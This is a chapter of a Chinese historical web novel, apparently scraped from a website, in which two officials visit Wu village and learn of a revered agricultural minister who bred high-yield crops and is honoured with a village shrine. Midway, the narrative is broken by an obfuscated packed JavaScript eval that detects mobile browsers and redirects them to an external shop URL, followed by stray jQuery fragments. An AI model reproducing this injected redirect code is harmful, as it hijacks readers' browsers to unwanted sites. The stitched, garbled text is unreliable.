霍啸雨为市舶司的署提举，吴安富知晓他并不奇异。


    吴安富说李灵钥心善，是因为她相助异国客商通译及办理公文？


    这吴氏宗族与异国客商往来必定不少。


    李灵钥思索间，吴安富已笑道：“二位当日在码头上救人可是被我吴村的乡邻都看在了眼中。我听闻后，便想请二位来做客，但一直没寻到机会；好不容易宴请了市舶司各位大人，二位又没在，让我好生怅惘。”


    吴安富的广府话说得甚是铿锵有力，吴万春在一旁小声通译。


    他走南闯北，知晓各郡言语不同，因此专给霍啸雨通译。


    霍啸雨没料到吴安富会说起这事，与李灵钥对望了一眼。


    吴万春微笑着解释：“我们吴村远离海岸，村中的年轻子弟闲暇时会到码头去做苦力。他们每日在码头见的都是异国客商与渔人。二位于半年前在码头救了陈家独子一事，当日便传回村中了。是同村子弟回来说的，他们有不少还得了陈氏的赏银。”


    李灵钥忽然想起当日陈星灿与宝琳被他们救下时，并没有陈姓子弟在左近，还是宝琳出了声，才有人去帮他们唤人。


    原来那时在码头上做苦力的多为吴村子弟！


    她仔细想了想：“贵村子弟常去码头做活计？”


    吴安富点头：“是。我们吴村不及别的村富足，有的子弟为了家计会去海边找些苦力活计。苦力虽辛苦，但也是正经营生，村中子弟们愿意为家中赚银钱花费，乃是好事，还免了他们在家闲着生事，我们都很是赞同。”


    李灵钥：“那贵村在广府城内可有产业？”


    吴安富：“有数处商铺。皆沽售田中所产，勉强糊口罢了。”


    片刻后，他微笑着：“请了二位前来做客，还说这些杂事，真是让二位见笑了。”


    他们在凉亭中说话，凉亭外有两名乡邻正细心地剥果子，不多时便送了剥好的果子来。


    蜜柚不仅剥去了外皮连果肉外的薄皮也剥得干干净净，晶莹的果肉堆在了盘中，贡柑剥了皮分成瓣，整齐地码在了瓷碟内，还有两碗果子果肉雪白，看不出原本的形状。


    李灵钥看了片刻，小心地问：“这是佛头果？”


    吴万春：“李小公子可真是见多识广，这正是佛头果。佛头果是这个时节的好果子，这是削去了外皮的果肉，我们吴村的佛头果极是甜蜜，请二位尝一尝。”


    霍啸雨饶有兴致地看了片刻：“这佛头果我曾听闻过，也见过，但没尝过。今日定要尝一尝。”


    他尝过后，对李灵钥道：“果真比蜜糖还甜。你也尝一片。”


    李灵钥也细心品尝，佛头果果肉入口软糯，极是甜蜜。


    她心中狐疑，又对着佛头果看了看。


    吴安富：“这果子极甜，我们时常用它炖煮甜汤。我先前便吩咐人去炖了，一会儿便送来。这些是今日摘下来的尖儿，专给二位品尝其本味。”


    他拿起竹签挑了蜜柚果肉送到霍啸雨与李灵钥面前的瓷碟中：“二位喝几口茶歇一歇，再尝一尝这蜜柚。佛头果太甜，尝过它再吃别的果子都淡而无味。喝几口茶待得甜味过了，再尝蜜柚便好些。我们村中的蜜柚都于中秋之前便采摘，堆放起来，柚皮干缩后，蜜柚苦味消除，九分甜一分微酸，极是适口。”


    吴万春笑道：“我们蜜柚也是仔细培育过的。实则广府的果树都用心培育过。从前的荔枝核大味酸，龙眼肉薄味淡，都不算美味。是朝廷派了位大司农来到此间，这位大司农正是我们族长先前说过的高人。他来了后，广府的稻米能一年三熟，甘蔗更甜，荔枝龙眼也是因了大司农用心栽培过，才核小肉厚，清甜美味。我们广府现今栽种米粮菜蔬，乃至果子的都是大司农亲手培育过的良种。”


    李灵钥先前听到“良种”二字便已怔住了，再听到“一年三熟”，她看着面前的佛头果，心中思索。


    霍啸雨则问：“这是何时的事？”


    吴万春：“大司农来广府是数十年前的事了，那时小人还没来到这世间。因此小人也无缘见过大司农，但当年村中长辈说这位大司农在广府住了一年有余，在我们吴村都住了两月。听得多了，小人也知晓还不少，也很是感激这位大司农。村中人如今能不饿肚皮，这位大司农功不可没，我们对其极是尊敬。广府各姓互有不满，但提起这位大司农，那是人人敬服。广府多地都为这位大司农修了庙供奉，我们村中也有，每逢年节族长都会带着乡邻前去供奉，春种秋收更要去祭拜感谢。”


    霍啸雨：“还修了庙？”


    吴安富：“那是自然。这位大司农养活了世间许多人。若没有他，我们这样不靠海的村庄要养活自身只能靠各家的田地，十分辛苦。就因有他，我们不仅人人都能吃饱，子弟才有了空闲去赚些散碎银钱贴补家中。”


    吴万春：“不止如此，村中乡邻有了争执，还会拉扯着到大司农庙去辩解。还有乡邻会将自身的烦恼在大司农的神位前说出来，以期得大司农的指点……”


    霍啸雨想了想：“请引我去看一看你们为这位大司农修的庙。”


    吴安富：“因只是村中人供奉祭拜，庙修建得小了些，不足请了外人前去。”


    霍啸雨：“无妨，听族长说了这位大司农，请族长也带我去拜上一拜。”


    他转头对着李灵钥：“咱们既然来到此间，理当去敬拜。”


    李灵钥对这位大司农很是好奇，当即点头：“署提举所言甚是。能养活这许多人的大司农，该去祭拜。”


    霍啸雨立起身来，吴安富见他果真要去，连忙道：“二位请随我来。”


    吴安富与吴万春引着霍啸雨和李灵钥步出凉亭。


    坐在凉亭外的靳松云等人也纷纷起身，清泉也跑来跟在了李灵钥身后。


    吴村的房舍都是土墙木门，少有青砖大院，着实比不上陈、梁、李、谢等别姓村庄的气派与富庶。


    已过了秋收，但吴村的田地依旧绿意盎然，青苗茁壮，有乡邻在田间劳作，也有人坐在田边闲聊。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132901|177752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>大司农庙修建在村边一处僻静的角落。


    那庙是间石砖小庙，没有院落，庙门前三尺左右的走廊，上有屋檐。


    走廊前的土地甚是平整，台阶下方铺了一溜青石板，青石板的尽头便是吴村的田亩。


    小庙外的田亩中绿油油的稻叶随风起伏。


    吴安富指着田亩：“现下种的便是当年大司农带着村中长辈培育出来的四月稻。”


    李灵钥意外：“四月稻，四月一熟？”


    吴万春：“正是。秋收肥田后种下，过了年正好收割。而后就可以春耕了。小人曾听村中长辈说过，大司农在别郡栽培出了四月稻。海南与南海两郡冬季格外暖和，四月稻在此间生长极好，大司农便将四季稻种在了海南与南海两郡。别郡也有乡邻栽种，但在暖棚内栽种，很是麻烦，收成也没有海南与南海两郡丰厚。我们则露天栽种，方便了许多。”


    李灵钥：“如此一来，此间的稻谷每年可收三回了。那的确不易饿肚子了。”


    吴安富：“正是。从前我们是一年两种，能比别郡多三四成收入。有了这四月稻后，我们每年都比别郡多收一倍的食粮。”


    他穿指着其中一块田地：“此间是当年大司农培育良种时的田地，大司农带着村中擅长农稼的长辈在这田地栽培良种。此处现下也依旧是我们吴村栽培良种的所在。”


    他又指着小庙：“长辈们都说大司农时常在此间歇息，因此我们将他的庙修在此间。”


    小庙前的青石板扫得干干净净，看得出此间农人对这位大司农很是尊敬，必定时常来供奉祭拜，因此他们来时也干干净净。


    小庙的庙门半掩着，木门上方挂着一张匾，写着工整的两个大字：农祠。


    吴安富推开木门，小庙内建了佛台，但却没塑像，只是供着两个牌位一个香炉，佛台前放着几个蒲团，墙角的香柜上放着香烛。


    两个牌位的前方供着几只瓷碟，分别供着稻谷、蜜柚、蜜柑……


    稻谷已是金黄，蜜柚蜜柑果皮干缩，还有几样菜蔬也已干黄。


    吴安富：“这是今年秋收后来祭拜时的供奉。”


    李灵钥步入其中，一眼便看到当中的牌位上写着“袁公千古”四个字，她心中“格噔”一下，站在当地没有出言。


    吴安富：“我们如今能吃饱穿暖都是因有了这位大司农，我们不敢忘本。香烛都是村中乡邻送来的，各家收了粮食果子换了银钱后，都会去城中采买些香烛来感谢大司农的庇佑，香烛只会多不会少，多出的就放在那处，二位要祭拜，我去取来。”


    吴万春：“实则不止这些，鱼池里的鱼虾，大司农也都带着人培育过。”


    李灵钥惊诧：“鱼虾也培育？培育？”


    吴安富：“不止，还有鸡鸭鹅，牛羊马……都被大司农培育过，培育后的牲畜都长得快而且肥硕。培育这二字，也是大司农所教。对了，大司农还培育过药材。可惜的是他只在广府居住了一年，若是多住两年，广府必定更加富庶。”